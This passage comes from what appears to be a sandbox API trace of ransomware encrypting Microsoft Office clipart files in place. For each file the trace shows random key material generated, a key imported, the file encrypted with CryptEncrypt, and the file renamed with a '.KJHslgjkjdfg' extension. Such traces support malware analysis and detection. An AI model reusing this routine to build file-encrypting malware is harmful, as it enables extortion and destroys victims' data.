lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.942] GetProcessHeap () returned 0x2a0000 [0185.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.kjhslgjkjdfg")) returned 1 [0185.944] CloseHandle (hObject=0x114) returned 1 [0185.944] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0185.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.946] GetProcessHeap () returned 0x2a0000 [0185.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.946] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.948] GetProcessHeap () returned 0x2a0000 [0185.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.949] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.949] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.949] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.949] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e98, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e98, lpOverlapped=0x0) returned 1 [0185.950] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ea0) returned 1 [0185.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.950] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ea0, lpOverlapped=0x0) returned 1 [0185.950] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.950] SetEndOfFile (hFile=0x114) returned 1 [0185.953] GetProcessHeap () returned 0x2a0000 [0185.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.953] GetProcessHeap () returned 0x2a0000 [0185.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.kjhslgjkjdfg")) returned 1 [0185.954] CloseHandle (hObject=0x114) returned 1 [0185.955] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0185.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.956] GetProcessHeap () returned 0x2a0000 [0185.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.956] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.959] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.959] GetProcessHeap () returned 0x2a0000 [0185.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.960] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.960] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.960] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd24, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd24, lpOverlapped=0x0) returned 1 [0185.960] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd30, dwBufLen=0xd30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd30) returned 1 [0185.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.960] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd30, lpOverlapped=0x0) returned 1 [0185.960] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.960] SetEndOfFile (hFile=0x114) returned 1 [0185.963] GetProcessHeap () returned 0x2a0000 [0185.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.963] GetProcessHeap () returned 0x2a0000 [0185.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.kjhslgjkjdfg")) returned 1 [0185.965] CloseHandle (hObject=0x114) returned 1 [0185.965] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0185.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.967] GetProcessHeap () returned 0x2a0000 [0185.967] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.968] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.968] GetProcessHeap () returned 0x2a0000 [0185.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.968] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.970] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.970] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.970] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.971] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2120, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2120, lpOverlapped=0x0) returned 1 [0185.972] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2120, dwBufLen=0x2120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2120) returned 1 [0185.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.972] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2120, lpOverlapped=0x0) returned 1 [0185.972] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.972] SetEndOfFile (hFile=0x114) returned 1 [0185.975] GetProcessHeap () returned 0x2a0000 [0185.975] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.975] GetProcessHeap () returned 0x2a0000 [0185.975] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.kjhslgjkjdfg")) returned 1 [0185.976] CloseHandle (hObject=0x114) returned 1 [0185.977] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0185.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.978] GetProcessHeap () returned 0x2a0000 [0185.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.978] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.978] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.978] GetProcessHeap () returned 0x2a0000 [0185.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.978] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.980] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.980] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.980] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.981] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.981] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.981] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.981] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5080, lpOverlapped=0x0) returned 1 [0185.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5080, dwBufLen=0x5080 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5080) returned 1 [0185.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.982] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5080, lpOverlapped=0x0) returned 1 [0185.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.982] SetEndOfFile (hFile=0x114) returned 1 [0185.985] GetProcessHeap () returned 0x2a0000 [0185.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.985] GetProcessHeap () returned 0x2a0000 [0185.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.kjhslgjkjdfg")) returned 1 [0185.986] CloseHandle (hObject=0x114) returned 1 [0185.986] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0185.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.987] GetProcessHeap () returned 0x2a0000 [0185.987] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.987] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.988] 